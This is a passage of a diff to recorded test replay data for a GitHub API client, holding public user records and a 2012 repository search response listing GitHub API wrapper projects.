"https://api.github.com/users/georgepalmer/subscriptions","organizations_url":"https://api.github.com/users/georgepalmer/orgs","repos_url":"https://api.github.com/users/georgepalmer/repos","events_url":"https://api.github.com/users/georgepalmer/events{/privacy}","received_events_url":"https://api.github.com/users/georgepalmer/received_events","type":"User"},{"login":"andregoncalves","id":1074,"avatar_url":"https://secure.gravatar.com/avatar/4595f74cb9ac661ba3060d85352037b9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"4595f74cb9ac661ba3060d85352037b9","url":"https://api.github.com/users/andregoncalves","html_url":"https://github.com/andregoncalves","followers_url":"https://api.github.com/users/andregoncalves/followers","following_url":"https://api.github.com/users/andregoncalves/following{/other_user}","gists_url":"https://api.github.com/users/andregoncalves/gists{/gist_id}","starred_url":"https://api.github.com/users/andregoncalves/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andregoncalves/subscriptions","organizations_url":"https://api.github.com/users/andregoncalves/orgs","repos_url":"https://api.github.com/users/andregoncalves/repos","events_url":"https://api.github.com/users/andregoncalves/events{/privacy}","received_events_url":"https://api.github.com/users/andregoncalves/received_events","type":"User"},{"login":"dchelimsky","id":1075,"avatar_url":"https://secure.gravatar.com/avatar/5d38ab152e1e3e219512a9859fcd93af?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"5d38ab152e1e3e219512a9859fcd93af","url":"https://api.github.com/users/dchelimsky","html_url":"https://github.com/dchelimsky","followers_url":"https://api.github.com/users/dchelimsky/followers","following_url":"https://api.github.com/users/dchelimsky/following{/other_user}","gists_url":"https://api.github.com/users/dchelimsky/gists{/gist_id}","starred_url":"https://api.github.com/users/dchelimsky/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dchelimsky/subscriptions","organizations_url":"https://api.github.com/users/dchelimsky/orgs","repos_url":"https://api.github.com/users/dchelimsky/repos","events_url":"https://api.github.com/users/dchelimsky/events{/privacy}","received_events_url":"https://api.github.com/users/dchelimsky/received_events","type":"User"},{"login":"dmondark","id":1076,"avatar_url":"https://secure.gravatar.com/avatar/e076cb8dfb81c15933038dc93cb6570a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e076cb8dfb81c15933038dc93cb6570a","url":"https://api.github.com/users/dmondark","html_url":"https://github.com/dmondark","followers_url":"https://api.github.com/users/dmondark/followers","following_url":"https://api.github.com/users/dmondark/following{/other_user}","gists_url":"https://api.github.com/users/dmondark/gists{/gist_id}","starred_url":"https://api.github.com/users/dmondark/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmondark/subscriptions","organizations_url":"https://api.github.com/users/dmondark/orgs","repos_url":"https://api.github.com/users/dmondark/repos","events_url":"https://api.github.com/users/dmondark/events{/privacy}","received_events_url":"https://api.github.com/users/dmondark/received_events","type":"User"},{"login":"pdlug","id":1077,"avatar_url":"https://secure.gravatar.com/avatar/1067916bdca9347542c035fdb7430083?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1067916bdca9347542c035fdb7430083","url":"https://api.github.com/users/pdlug","html_url":"https://github.com/pdlug","followers_url":"https://api.github.com/users/pdlug/followers","following_url":"https://api.github.com/users/pdlug/following{/other_user}","gists_url":"https://api.github.com/users/pdlug/gists{/gist_id}","starred_url":"https://api.github.com/users/pdlug/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pdlug/subscriptions","organizations_url":"https://api.github.com/users/pdlug/orgs","repos_url":"https://api.github.com/users/pdlug/repos","events_url":"https://api.github.com/users/pdlug/events{/privacy}","received_events_url":"https://api.github.com/users/pdlug/received_events","type":"User"},{"login":"fredix","id":1078,"avatar_url":"https://secure.gravatar.com/avatar/3c75327133edef1a398f48a3566b0f7b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3c75327133edef1a398f48a3566b0f7b","url":"https://api.github.com/users/fredix","html_url":"https://github.com/fredix","followers_url":"https://api.github.com/users/fredix/followers","following_url":"https://api.github.com/users/fredix/following{/other_user}","gists_url":"https://api.github.com/users/fredix/gists{/gist_id}","starred_url":"https://api.github.com/users/fredix/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fredix/subscriptions","organizations_url":"https://api.github.com/users/fredix/orgs","repos_url":"https://api.github.com/users/fredix/repos","events_url":"https://api.github.com/users/fredix/events{/privacy}","received_events_url":"https://api.github.com/users/fredix/received_events","type":"User"},{"login":"agibralter","id":1079,"avatar_url":"https://secure.gravatar.com/avatar/de396cedd7085b8ac01f8c18a7e24167?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"de396cedd7085b8ac01f8c18a7e24167","url":"https://api.github.com/users/agibralter","html_url":"https://github.com/agibralter","followers_url":"https://api.github.com/users/agibralter/followers","following_url":"https://api.github.com/users/agibralter/following{/other_user}","gists_url":"https://api.github.com/users/agibralter/gists{/gist_id}","starred_url":"https://api.github.com/users/agibralter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agibralter/subscriptions","organizations_url":"https://api.github.com/users/agibralter/orgs","repos_url":"https://api.github.com/users/agibralter/repos","events_url":"https://api.github.com/users/agibralter/events{/privacy}","received_events_url":"https://api.github.com/users/agibralter/received_events","type":"User"},{"login":"frac","id":1080,"avatar_url":"https://secure.gravatar.com/avatar/3fccf3feddc8c218a4007bf51e4143e7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3fccf3feddc8c218a4007bf51e4143e7","url":"https://api.github.com/users/frac","html_url":"https://github.com/frac","followers_url":"https://api.github.com/users/frac/followers","following_url":"https://api.github.com/users/frac/following{/other_user}","gists_url":"https://api.github.com/users/frac/gists{/gist_id}","starred_url":"https://api.github.com/users/frac/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/frac/subscriptions","organizations_url":"https://api.github.com/users/frac/orgs","repos_url":"https://api.github.com/users/frac/repos","events_url":"https://api.github.com/users/frac/events{/privacy}","received_events_url":"https://api.github.com/users/frac/received_events","type":"User"},{"login":"ismasan","id":1081,"avatar_url":"https://secure.gravatar.com/avatar/93894025c277e9617911a949f1848a21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"93894025c277e9617911a949f1848a21","url":"https://api.github.com/users/ismasan","html_url":"https://github.com/ismasan","followers_url":"https://api.github.com/users/ismasan/followers","following_url":"https://api.github.com/users/ismasan/following{/other_user}","gists_url":"https://api.github.com/users/ismasan/gists{/gist_id}","starred_url":"https://api.github.com/users/ismasan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ismasan/subscriptions","organizations_url":"https://api.github.com/users/ismasan/orgs","repos_url":"https://api.github.com/users/ismasan/repos","events_url":"https://api.github.com/users/ismasan/events{/privacy}","received_events_url":"https://api.github.com/users/ismasan/received_events","type":"User"},{"login":"dpickett","id":1082,"avatar_url":"https://secure.gravatar.com/avatar/ae619e02984c5efc3d3e6f9fef39079c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ae619e02984c5efc3d3e6f9fef39079c","url":"https://api.github.com/users/dpickett","html_url":"https://github.com/dpickett","followers_url":"https://api.github.com/users/dpickett/followers","following_url":"https://api.github.com/users/dpickett/following{/other_user}","gists_url":"https://api.github.com/users/dpickett/gists{/gist_id}","starred_url":"https://api.github.com/users/dpickett/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dpickett/subscriptions","organizations_url":"https://api.github.com/users/dpickett/orgs","repos_url":"https://api.github.com/users/dpickett/repos","events_url":"https://api.github.com/users/dpickett/events{/privacy}","received_events_url":"https://api.github.com/users/dpickett/received_events","type":"User"},{"login":"maxwellterry","id":1083,"avatar_url":"https://secure.gravatar.com/avatar/a905cdf7d80252315ece9293e8ef3f71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"a905cdf7d80252315ece9293e8ef3f71","url":"https://api.github.com/users/maxwellterry","html_url":"https://github.com/maxwellterry","followers_url":"https://api.github.com/users/maxwellterry/followers","following_url":"https://api.github.com/users/maxwellterry/following{/other_user}","gists_url":"https://api.github.com/users/maxwellterry/gists{/gist_id}","starred_url":"https://api.github.com/users/maxwellterry/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/maxwellterry/subscriptions","organizations_url":"https://api.github.com/users/maxwellterry/orgs","repos_url":"https://api.github.com/users/maxwellterry/repos","events_url":"https://api.github.com/users/maxwellterry/events{/privacy}","received_events_url":"https://api.github.com/users/maxwellterry/received_events","type":"User"},{"login":"fsvehla","id":1084,"avatar_url":"https://secure.gravatar.com/avatar/d3374d506ecb4145d399bd9162dd66ce?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d3374d506ecb4145d399bd9162dd66ce","url":"https://api.github.com/users/fsvehla","html_url":"https://github.com/fsvehla","followers_url":"https://api.github.com/users/fsvehla/followers","following_url":"https://api.github.com/users/fsvehla/following{/other_user}","gists_url":"https://api.github.com/users/fsvehla/gists{/gist_id}","starred_url":"https://api.github.com/users/fsvehla/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/fsvehla/subscriptions","organizations_url":"https://api.github.com/users/fsvehla/orgs","repos_url":"https://api.github.com/users/fsvehla/repos","events_url":"https://api.github.com/users/fsvehla/events{/privacy}","received_events_url":"https://api.github.com/users/fsvehla/received_events","type":"User"},{"login":"glasner","id":1085,"avatar_url":"https://secure.gravatar.com/avatar/008059ed6b16d4c2a8793bbb24508ba7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"008059ed6b16d4c2a8793bbb24508ba7","url":"https://api.github.com/users/glasner","html_url":"https://github.com/glasner","followers_url":"https://api.github.com/users/glasner/followers","following_url":"https://api.github.com/users/glasner/following{/other_user}","gists_url":"https://api.github.com/users/glasner/gists{/gist_id}","starred_url":"https://api.github.com/users/glasner/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/glasner/subscriptions","organizations_url":"https://api.github.com/users/glasner/orgs","repos_url":"https://api.github.com/users/glasner/repos","events_url":"https://api.github.com/users/glasner/events{/privacy}","received_events_url":"https://api.github.com/users/glasner/received_events","type":"User"},{"login":"dmadding","id":1086,"avatar_url":"https://secure.gravatar.com/avatar/6ecf5b7000fb010ba83cff733b5149a6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6ecf5b7000fb010ba83cff733b5149a6","url":"https://api.github.com/users/dmadding","html_url":"https://github.com/dmadding","followers_url":"https://api.github.com/users/dmadding/followers","following_url":"https://api.github.com/users/dmadding/following{/other_user}","gists_url":"https://api.github.com/users/dmadding/gists{/gist_id}","starred_url":"https://api.github.com/users/dmadding/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmadding/subscriptions","organizations_url":"https://api.github.com/users/dmadding/orgs","repos_url":"https://api.github.com/users/dmadding/repos","events_url":"https://api.github.com/users/dmadding/events{/privacy}","received_events_url":"https://api.github.com/users/dmadding/received_events","type":"User"},{"login":"jwilkins","id":1087,"avatar_url":"https://secure.gravatar.com/avatar/1b03afc0871dcebcb94ea8c71c30d119?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1b03afc0871dcebcb94ea8c71c30d119","url":"https://api.github.com/users/jwilkins","html_url":"https://github.com/jwilkins","followers_url":"https://api.github.com/users/jwilkins/followers","following_url":"https://api.github.com/users/jwilkins/following{/other_user}","gists_url":"https://api.github.com/users/jwilkins/gists{/gist_id}","starred_url":"https://api.github.com/users/jwilkins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jwilkins/subscriptions","organizations_url":"https://api.github.com/users/jwilkins/orgs","repos_url":"https://api.github.com/users/jwilkins/repos","events_url":"https://api.github.com/users/jwilkins/events{/privacy}","received_events_url":"https://api.github.com/users/jwilkins/received_events","type":"User"},{"login":"shingara","id":1088,"avatar_url":"https://secure.gravatar.com/avatar/2fd0206c71a1b22a9cc6293f38537461?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2fd0206c71a1b22a9cc6293f38537461","url":"https://api.github.com/users/shingara","html_url":"https://github.com/shingara","followers_url":"https://api.github.com/users/shingara/followers","following_url":"https://api.github.com/users/shingara/following{/other_user}","gists_url":"https://api.github.com/users/shingara/gists{/gist_id}","starred_url":"https://api.github.com/users/shingara/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shingara/subscriptions","organizations_url":"https://api.github.com/users/shingara/orgs","repos_url":"https://api.github.com/users/shingara/repos","events_url":"https://api.github.com/users/shingara/events{/privacy}","received_events_url":"https://api.github.com/users/shingara/received_events","type":"User"},{"login":"sebastian","id":1089,"avatar_url":"https://secure.gravatar.com/avatar/ebac0be1687975b63a20da7b254442ab?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ebac0be1687975b63a20da7b254442ab","url":"https://api.github.com/users/sebastian","html_url":"https://github.com/sebastian","followers_url":"https://api.github.com/users/sebastian/followers","following_url":"https://api.github.com/users/sebastian/following{/other_user}","gists_url":"https://api.github.com/users/sebastian/gists{/gist_id}","starred_url":"https://api.github.com/users/sebastian/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sebastian/subscriptions","organizations_url":"https://api.github.com/users/sebastian/orgs","repos_url":"https://api.github.com/users/sebastian/repos","events_url":"https://api.github.com/users/sebastian/events{/privacy}","received_events_url":"https://api.github.com/users/sebastian/received_events","type":"User"},{"login":"michaelklishin","id":1090,"avatar_url":"https://secure.gravatar.com/avatar/388dee5b4fb00316282b5f40b8409438?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"388dee5b4fb00316282b5f40b8409438","url":"https://api.github.com/users/michaelklishin","html_url":"https://github.com/michaelklishin","followers_url":"https://api.github.com/users/michaelklishin/followers","following_url":"https://api.github.com/users/michaelklishin/following{/other_user}","gists_url":"https://api.github.com/users/michaelklishin/gists{/gist_id}","starred_url":"https://api.github.com/users/michaelklishin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/michaelklishin/subscriptions","organizations_url":"https://api.github.com/users/michaelklishin/orgs","repos_url":"https://api.github.com/users/michaelklishin/repos","events_url":"https://api.github.com/users/michaelklishin/events{/privacy}","received_events_url":"https://api.github.com/users/michaelklishin/received_events","type":"User"},{"login":"yaanno","id":1091,"avatar_url":"https://secure.gravatar.com/avatar/12609643dd685a6753f15d542a77b7f9?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"12609643dd685a6753f15d542a77b7f9","url":"https://api.github.com/users/yaanno","html_url":"https://github.com/yaanno","followers_url":"https://api.github.com/users/yaanno/followers","following_url":"https://api.github.com/users/yaanno/following{/other_user}","gists_url":"https://api.github.com/users/yaanno/gists{/gist_id}","starred_url":"https://api.github.com/users/yaanno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/yaanno/subscriptions","organizations_url":"https://api.github.com/users/yaanno/orgs","repos_url":"https://api.github.com/users/yaanno/repos","events_url":"https://api.github.com/users/yaanno/events{/privacy}","received_events_url":"https://api.github.com/users/yaanno/received_events","type":"User"},{"login":"slip","id":1092,"avatar_url":"https://secure.gravatar.com/avatar/8e4f193e6765aaa57925baa2876f55a7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8e4f193e6765aaa57925baa2876f55a7","url":"https://api.github.com/users/slip","html_url":"https://github.com/slip","followers_url":"https://api.github.com/users/slip/followers","following_url":"https://api.github.com/users/slip/following{/other_user}","gists_url":"https://api.github.com/users/slip/gists{/gist_id}","starred_url":"https://api.github.com/users/slip/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/slip/subscriptions","organizations_url":"https://api.github.com/users/slip/orgs","repos_url":"https://api.github.com/users/slip/repos","events_url":"https://api.github.com/users/slip/events{/privacy}","received_events_url":"https://api.github.com/users/slip/received_events","type":"User"},{"login":"jamie","id":1093,"avatar_url":"https://secure.gravatar.com/avatar/e2ee1b6676c1e04dd641371723ca77b2?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e2ee1b6676c1e04dd641371723ca77b2","url":"https://api.github.com/users/jamie","html_url":"https://github.com/jamie","followers_url":"https://api.github.com/users/jamie/followers","following_url":"https://api.github.com/users/jamie/following{/other_user}","gists_url":"https://api.github.com/users/jamie/gists{/gist_id}","starred_url":"https://api.github.com/users/jamie/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jamie/subscriptions","organizations_url":"https://api.github.com/users/jamie/orgs","repos_url":"https://api.github.com/users/jamie/repos","events_url":"https://api.github.com/users/jamie/events{/privacy}","received_events_url":"https://api.github.com/users/jamie/received_events","type":"User"},{"login":"azsromej","id":1094,"avatar_url":"https://secure.gravatar.com/avatar/084a5458b3057bd33048a3e5dbe3f855?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"084a5458b3057bd33048a3e5dbe3f855","url":"https://api.github.com/users/azsromej","html_url":"https://github.com/azsromej","followers_url":"https://api.github.com/users/azsromej/followers","following_url":"https://api.github.com/users/azsromej/following{/other_user}","gists_url":"https://api.github.com/users/azsromej/gists{/gist_id}","starred_url":"https://api.github.com/users/azsromej/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/azsromej/subscriptions","organizations_url":"https://api.github.com/users/azsromej/orgs","repos_url":"https://api.github.com/users/azsromej/repos","events_url":"https://api.github.com/users/azsromej/events{/privacy}","received_events_url":"https://api.github.com/users/azsromej/received_events","type":"User"},{"login":"phsilva","id":1095,"avatar_url":"https://secure.gravatar.com/avatar/f3c282d158c56d60d46d865852b577a0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f3c282d158c56d60d46d865852b577a0","url":"https://api.github.com/users/phsilva","html_url":"https://github.com/phsilva","followers_url":"https://api.github.com/users/phsilva/followers","following_url":"https://api.github.com/users/phsilva/following{/other_user}","gists_url":"https://api.github.com/users/phsilva/gists{/gist_id}","starred_url":"https://api.github.com/users/phsilva/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phsilva/subscriptions","organizations_url":"https://api.github.com/users/phsilva/orgs","repos_url":"https://api.github.com/users/phsilva/repos","events_url":"https://api.github.com/users/phsilva/events{/privacy}","received_events_url":"https://api.github.com/users/phsilva/received_events","type":"User"},{"login":"wmoxam","id":1096,"avatar_url":"https://secure.gravatar.com/avatar/23a7e2ff4a8656de4ef222f2eecd4a01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"23a7e2ff4a8656de4ef222f2eecd4a01","url":"https://api.github.com/users/wmoxam","html_url":"https://github.com/wmoxam","followers_url":"https://api.github.com/users/wmoxam/followers","following_url":"https://api.github.com/users/wmoxam/following{/other_user}","gists_url":"https://api.github.com/users/wmoxam/gists{/gist_id}","starred_url":"https://api.github.com/users/wmoxam/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wmoxam/subscriptions","organizations_url":"https://api.github.com/users/wmoxam/orgs","repos_url":"https://api.github.com/users/wmoxam/repos","events_url":"https://api.github.com/users/wmoxam/events{/privacy}","received_events_url":"https://api.github.com/users/wmoxam/received_events","type":"User"},{"login":"quirkey","id":1097,"avatar_url":"https://secure.gravatar.com/avatar/f04bfa14141dca6713f0d9caa763e26b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"f04bfa14141dca6713f0d9caa763e26b","url":"https://api.github.com/users/quirkey","html_url":"https://github.com/quirkey","followers_url":"https://api.github.com/users/quirkey/followers","following_url":"https://api.github.com/users/quirkey/following{/other_user}","gists_url":"https://api.github.com/users/quirkey/gists{/gist_id}","starred_url":"https://api.github.com/users/quirkey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quirkey/subscriptions","organizations_url":"https://api.github.com/users/quirkey/orgs","repos_url":"https://api.github.com/users/quirkey/repos","events_url":"https://api.github.com/users/quirkey/events{/privacy}","received_events_url":"https://api.github.com/users/quirkey/received_events","type":"User"},{"login":"enhiro","id":1098,"avatar_url":"https://secure.gravatar.com/avatar/1e62788b9ca14d8456b17deaf97f048f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"1e62788b9ca14d8456b17deaf97f048f","url":"https://api.github.com/users/enhiro","html_url":"https://github.com/enhiro","followers_url":"https://api.github.com/users/enhiro/followers","following_url":"https://api.github.com/users/enhiro/following{/other_user}","gists_url":"https://api.github.com/users/enhiro/gists{/gist_id}","starred_url":"https://api.github.com/users/enhiro/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/enhiro/subscriptions","organizations_url":"https://api.github.com/users/enhiro/orgs","repos_url":"https://api.github.com/users/enhiro/repos","events_url":"https://api.github.com/users/enhiro/events{/privacy}","received_events_url":"https://api.github.com/users/enhiro/received_events","type":"User"},{"login":"shillcock","id":1099,"avatar_url":"https://secure.gravatar.com/avatar/ca40eff0767d6403505881a3be5200bd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"ca40eff0767d6403505881a3be5200bd","url":"https://api.github.com/users/shillcock","html_url":"https://github.com/shillcock","followers_url":"https://api.github.com/users/shillcock/followers","following_url":"https://api.github.com/users/shillcock/following{/other_user}","gists_url":"https://api.github.com/users/shillcock/gists{/gist_id}","starred_url":"https://api.github.com/users/shillcock/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/shillcock/subscriptions","organizations_url":"https://api.github.com/users/shillcock/orgs","repos_url":"https://api.github.com/users/shillcock/repos","events_url":"https://api.github.com/users/shillcock/events{/privacy}","received_events_url":"https://api.github.com/users/shillcock/received_events","type":"User"},{"login":"niallkennedy","id":1100,"avatar_url":"https://secure.gravatar.com/avatar/62078292ef0e01419da698efa65af5ec?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"62078292ef0e01419da698efa65af5ec","url":"https://api.github.com/users/niallkennedy","html_url":"https://github.com/niallkennedy","followers_url":"https://api.github.com/users/niallkennedy/followers","following_url":"https://api.github.com/users/niallkennedy/following{/other_user}","gists_url":"https://api.github.com/users/niallkennedy/gists{/gist_id}","starred_url":"https://api.github.com/users/niallkennedy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/niallkennedy/subscriptions","organizations_url":"https://api.github.com/users/niallkennedy/orgs","repos_url":"https://api.github.com/users/niallkennedy/repos","events_url":"https://api.github.com/users/niallkennedy/events{/privacy}","received_events_url":"https://api.github.com/users/niallkennedy/received_events","type":"User"},{"login":"sandropaganotti","id":1101,"avatar_url":"https://secure.gravatar.com/avatar/0df4a6c75caf1bd9b01d2dcbfb085ee4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"0df4a6c75caf1bd9b01d2dcbfb085ee4","url":"https://api.github.com/users/sandropaganotti","html_url":"https://github.com/sandropaganotti","followers_url":"https://api.github.com/users/sandropaganotti/followers","following_url":"https://api.github.com/users/sandropaganotti/following{/other_user}","gists_url":"https://api.github.com/users/sandropaganotti/gists{/gist_id}","starred_url":"https://api.github.com/users/sandropaganotti/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sandropaganotti/subscriptions","organizations_url":"https://api.github.com/users/sandropaganotti/orgs","repos_url":"https://api.github.com/users/sandropaganotti/repos","events_url":"https://api.github.com/users/sandropaganotti/events{/privacy}","received_events_url":"https://api.github.com/users/sandropaganotti/received_events","type":"User"}] - diff --git a/tests/ReplayData/Github.testSearchRepos.txt b/tests/ReplayData/Github.testSearchRepos.txt index c052fc6947..fc7e07a251 100644 --- a/tests/ReplayData/Github.testSearchRepos.txt +++ b/tests/ReplayData/Github.testSearchRepos.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '41937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"ca6d7101af2acb5a04f11645bc01f4b2"'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Thu, 28 Jun 2012 20:53:53 GMT'), ('content-type', 'application/json; charset=utf-8')] {"repositories":[{"type":"repo","has_issues":true,"created_at":"2009-12-10T13:41:49-08:00","score":16.919834,"owner":"pengwynn","has_downloads":true,"followers":295,"created":"2009-12-10T13:41:49-08:00","pushed":"2012-06-28T05:54:54-07:00","homepage":"http://pengwynn.github.com/octokit","watchers":295,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-28T05:54:54-07:00","forks":73,"fork":false,"size":248,"name":"octokit","url":"https://github.com/pengwynn/octokit","description":"Simple Ruby wrapper for the GitHub v3 API","open_issues":2,"private":false,"integrate_branch":"master","username":"pengwynn"},{"type":"repo","has_issues":true,"created_at":"2011-06-23T15:52:33-07:00","score":8.835576,"owner":"jwilger","has_downloads":true,"followers":35,"created":"2011-06-23T15:52:33-07:00","pushed":"2012-01-20T12:46:30-08:00","watchers":35,"has_wiki":false,"language":"Ruby","pushed_at":"2012-01-20T12:46:30-08:00","forks":13,"fork":false,"size":212,"name":"github-v3-api","url":"https://github.com/jwilger/github-v3-api","description":"Ruby Client for the GitHub v3 API","open_issues":2,"private":false,"username":"jwilger"},{"type":"repo","has_issues":true,"created_at":"2011-10-11T13:02:03-07:00","master_branch":"develop","score":7.502039,"owner":"acoulton","has_downloads":true,"followers":11,"created":"2011-10-11T13:02:03-07:00","pushed":"2011-12-29T20:40:32-08:00","homepage":"","watchers":11,"has_wiki":true,"language":"PHP","pushed_at":"2011-12-29T20:40:32-08:00","forks":4,"fork":false,"size":164,"name":"github_v3_api","url":"https://github.com/acoulton/github_v3_api","description":"KO3 module for interacting with the new Github v3 API","open_issues":1,"private":false,"username":"acoulton"},{"type":"repo","has_issues":true,"created_at":"2011-09-25T12:36:22-07:00","score":7.3562603,"owner":"peter-murach","has_downloads":true,"followers":77,"created":"2011-09-25T12:36:22-07:00","pushed":"2012-06-24T10:54:21-07:00","homepage":"http://peter-murach.github.com/github","watchers":77,"has_wiki":true,"language":"Ruby","pushed_at":"2012-06-24T10:54:21-07:00","forks":26,"fork":false,"size":300,"name":"github","url":"https://github.com/peter-murach/github","description":"Ruby interface to github API v3","open_issues":1,"private":false,"username":"peter-murach"},{"type":"repo","has_issues":true,"created_at":"2012-06-04T15:20:41-07:00","score":7.121046,"owner":"VisualAppeal","has_downloads":true,"followers":2,"organization":"VisualAppeal","created":"2012-06-04T15:20:41-07:00","pushed":"2012-06-04T15:29:07-07:00","watchers":2,"has_wiki":true,"language":"PHP","pushed_at":"2012-06-04T15:29:07-07:00","forks":1,"fork":false,"size":132,"name":"Github-API-v3","url":"https://github.com/VisualAppeal/Github-API-v3","description":"PHP Github API client for version 3.","open_issues":0,"private":false,"username":"VisualAppeal"},{"type":"repo","has_issues":true,"created_at":"2012-02-21T02:02:04-08:00","score":7.116807,"owner":"guillaumepotier","has_downloads":true,"followers":2,"created":"2012-02-21T02:02:04-08:00","pushed":"2012-02-23T01:05:23-08:00","homepage":"","watchers":2,"has_wiki":true,"language":"PHP","pushed_at":"2012-02-23T01:05:23-08:00","forks":1,"fork":false,"size":104,"name":"GithubApi_v3","url":"https://github.com/guillaumepotier/GithubApi_v3","description":"Very simple class I use for my pet projects","open_issues":0,"private":false,"username":"guillaumepotier"},{"type":"repo","has_issues":true,"created_at":"2012-01-14T17:32:10-08:00","score":6.182912,"owner":"phated","has_downloads":true,"followers":3,"created":"2012-01-14T17:32:10-08:00","pushed":"2012-01-15T23:58:31-08:00","homepage":"","watchers":3,"has_wiki":true,"language":"JavaScript","pushed_at":"2012-01-15T23:58:31-08:00","forks":1,"fork":false,"size":9196,"name":"github-v3-api-js","url":"https://github.com/phated/github-v3-api-js","description":"Experimentation with github api (v3) in javascript","open_issues":0,"private":false,"username":"phated"},{"type":"repo","has_issues":true,"created_at":"2012-02-05T20:34:12-08:00","score":6.127202,"owner":"rsanders","has_downloads":true,"followers":3,"created":"2012-02-05T20:34:12-08:00","pushed":"2012-02-07T22:50:13-08:00","homepage":"","watchers":3,"has_wiki":true,"language":"Emacs Lisp","pushed_at":"2012-02-07T22:50:13-08:00","forks":3,"fork":false,"size":120,"name":"github-api-v3.el","url":"https://github.com/rsanders/github-api-v3.el","description":"Emacs Lisp interface for the GitHub API 